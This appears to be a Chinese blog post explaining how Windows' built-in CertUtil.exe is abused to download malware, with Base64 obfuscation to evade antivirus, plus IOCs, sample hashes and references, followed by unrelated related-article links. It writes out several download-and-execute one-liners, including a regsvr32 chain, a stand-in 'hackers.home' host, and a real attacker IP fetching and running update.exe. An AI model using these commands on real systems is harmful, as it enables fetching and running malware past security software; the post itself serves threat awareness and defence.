使用CertUtil.exe下载远程文件

证书 https://www.cnblogs.com/17bdw/p/8728656.html

1、前言

经过国外文章信息,CertUtil.exe下载恶意软件的样本。

2、实现原理

Windows有一个名为CertUtil的内置程序,可用于在Windows中管理证书。使用此程序可以在Windows中安装,备份,删除,管理和执行与证书和证书存储相关的各种功能。

CertUtil的一个特性是能够从远程URL下载证书或任何其他文件。

使用语法 :


"certutil.exe -urlcache -split -f [URL] output.file"

Casey Smith(https://twitter.com/subTee) 在2017年就已经公布的相关利用方法。


certutil -urlcache -split -f [serverURL] file.blah regsvr32.exe /s /u /I:file.blah scrub.dll

3、实际例子

目前在威胁情报平台里已经可以搜索到利用这种手法的相关病毒样本,样本中利用的方法:

4、混淆方式

  • 使用CertUtil + Base64来绕过安全软件

通过Base64对恶意文件进行编码,使恶意代码样本看起来像是无害的文本文件,然后使用CertUtil.exe下载后对其进行解码。下载了文本文件使用“Certutil.exe -decode”命令将Base64编码文件解码为可执行文件。


C:\Temp>certutil.exe -urlcache -split -f "https://hackers.home/badcontent.txt" bad.txt C:\Temp>certutil.exe -decode bad.txt bad.exe

在F5 Labs上有一篇利用漏洞的文章中提到了利用certutil下载文件的方式攻击Web服务器。Payload部分内容如下:

一旦文件下载并使用certutil进行 base64解码,它将被保存为update.exe并执行。

certutil -urlcache -split -f http://45.77.55.231/update.b64 update.b64&certutil -decode update.b64 update.exe&update.exe

5、样本HASH与分析结果

  • 分析平台分析结果:

https://www.hybrid-analysis.com/sample/87cf118bff58c38bc0d54c1d3fcc553e381df838437a99a2006dd8f726406c16?environmentId=100 https://www.virustotal.com/en/file/1a3cd50fcc7a454025a641ffcc941353b4a7998c36066b399c72cb8cbff61071/analysis/1522278762/ https://www.hybrid-analysis.com/sample/4faf0c88f41121038709e9a9d134736dfadf6e1f1f4fdb6812fc69818a9e8572?environmentId=100 https://www.hybrid-analysis.com/sample/3bdecb8b3aaad6822a15011e5c9f10663c3ead64a61350148518b32f176ba02c?environmentId=100
  • IOC(Indicators of Compromise)

    • IP:
45[.]77[.]55[.]231
181[.]214[.]87[.]240
181[.]214[.]87[.]241
148[.]251[.]133[.]246
    • 文件名与HASH值:
update.b64: 66107b01bc93c8d4cf2e8a6a8faffb56
update.exe: 5bb5d3cb837d97174eddc681ca98aa80
msi64.zip: 8d8b8abe93aea52f9865f045a49912ae
SearchIndexer.exe: 1dd8ea5dd6975eb3d0dd14d71d1a404d
mssearch.exe: 47d3a5023d0cbe76a030bfac7bcfe2f2

6、参考

https://www.bleepingcomputer.com/news/security/certutilexe-could-allow-attackers-to-download-malware-while-bypassing-av/
https://f5.com/labs/articles/threat-intelligence/malware/old-dog-new-targets-switching-to-windows-to-mine-electroneum
https://www.bleepingcomputer.com/news/security/regsvr32-can-be-used-to-install-ransomware-through-jscript-installers/

=========================== End

使用CertUtil.exe下载远程文件的更多相关文章

  1. WPF下载远程文件,并显示进度条和百分比

    WPF下载远程文件,并显示进度条和百分比 1.xaml <ProgressBar HorizontalAlignment="Left" Height="10&quo ...

  2. java下载远程文件到本地

    java下载远程文件到本地(转载:http://www.cnblogs.com/qqzy168/archive/2013/02/28/2936698.html)   /**       * 下载远程文 ...

  3. PHP下载远程文件到指定目录

    PHP用curl可以轻松实现下载远程文件到指定目录: <?php class Download { public static function get($url, $file) { retur ...

  4. 关于下载远程文件为未知文件.txt的解决方法

    本地下载文件后缀正常,服务器下载文件后缀都为.txt的解决方法: 后缀为 未知文件.txt 的原因为前端无权限获取Content-Disposition中的文件名 response.setHeader ...

  5. php下载远程文件方法~

    直接上代码: getFile("http://easyread.ph.126.net/N8gDl6ayo5wLgKbgT21NZQ==/7917056565549478184.jpg&quo ...

  6. 使用CURL下载远程文件保存到服务器

    比如微信公众平台开发,下载用户的头像到服务器上: /** * 使用CURL获取远程文件保存到服务器 *@param $image=$oJSON->headimgurl; 获取到的微信返回的头像U ...

  7. PHP下载远程文件的3种方法以及性能考虑

    今天在做导出Excel的时候,总是要测试导出的Excel文件,频繁的下载和打开,很麻烦 就想着写段代码一气呵成  服务端导出Excel==>下载Excel文件到本地==>并打开的操作. 这 ...

  8. 再见Xshell、Xftp!Python执行Linux命令、上传下载远程文件

    相信大家应该都接触过Linux操作系统(Ubuntu.Centos等),那么在使用的Linux操作系统需要使用一些远程ssh工具,尤其是公网服务器. 常用的ssh工具主要有:Xshell.MobaXt ...

  9. 第一个shell脚本 结合计划任务下载远程文件

    思路: 进入/usr/local/apache2/htdocs/ipa/  循环读取 /root/shell/wget/down.txt  每次一行,每一行直接就是一条命令,直接 $line 就可以执 ...

随机推荐

  1. Nessus简单使用

    1.更新插件 上次搭建完后总觉得不踏实,因为老是提示插件多久没更新了,然后果断花了1.25美刀买了台vps,终于把最新的插件下载下来了,总共190M,需要的QQ私信我.

  2. nacos启动与sql8.0的问题解决方法

    hi all! 半年多没更新,是不是以为我消失了……直接正题~ 在搭建nacos环境的时候,有这样的一项:数据库持久化配置.(官方文档),这个配置可以灵活的帮我们进行配置而不用总是重启服务. 那么问题 ...

  3. [C++] explicit关键字使用方法

    C++中,构造函数可以用作自动类型转换,但是这种转换不一定是程序所需要的,有时会导致错误的类型转换. 下面的代码,在mian函数中,将一个整形赋值为对象类型. #include "iostr ...

  4. 团队作业-Alpha(3/4)

    队名:软工9组 组长博客:https://www.cnblogs.com/cmlei/ 作业博客:https://edu.cnblogs.com/campus/fzu/SoftwareEngineer ...

  5. MySQL日常监控及sys库的使用【转】

    一.统计信息(SQL维度) 关于SQL维度的统计信息主要集中在events_statements_summary_by_digest表中,通过将SQL语句抽象出digest,可以统计某类SQL语句在各 ...

  6. 解决vs2010按ctrl+f5,调试窗口一闪而过的方法

    vs2010调试按F5与按Ctrl+F5有什么区别 Ctrl F5测试运行后不自动推出控制台,直接按F5会自动退出去 解决vs2010按ctrl+f5,调试窗口一闪而过的方法 http://hi.ba ...

  7. 【mybatis源码学习】mybatis的参数处理

    一.mybatis的参数处理以及参数取值 1.单个参数 mybatis不做任何处理 取值方式: ​ #{参数名/任意名} <!-- Employee getEmpById(Integer id) ...

  8. 取消本地文件夹与SVN服务器的关联

    我们在开发项目中用SVN作为版本管理工具时,从服务器下载到本地的项目是有.svn文件夹的,这个代表是与svn服务器代码相关联的,如果我们想取消本地文件夹与svn服务器的关联,那么有多种方法,这里介绍导 ...

  9. WdatePicker 时间插件

    1.下载地址:链接:https://pan.baidu.com/s/1ggusfZX 密码:gu22 常用法: <input type="text" class=" ...

  10. Python numpy 中常用的数据运算

    Numpy 精通面向数组编程和思维方式是成为Python科学计算大牛的一大关键步骤.——<利用Python进行数据分析> Numpy(Numerical Python)是Python科学计 ...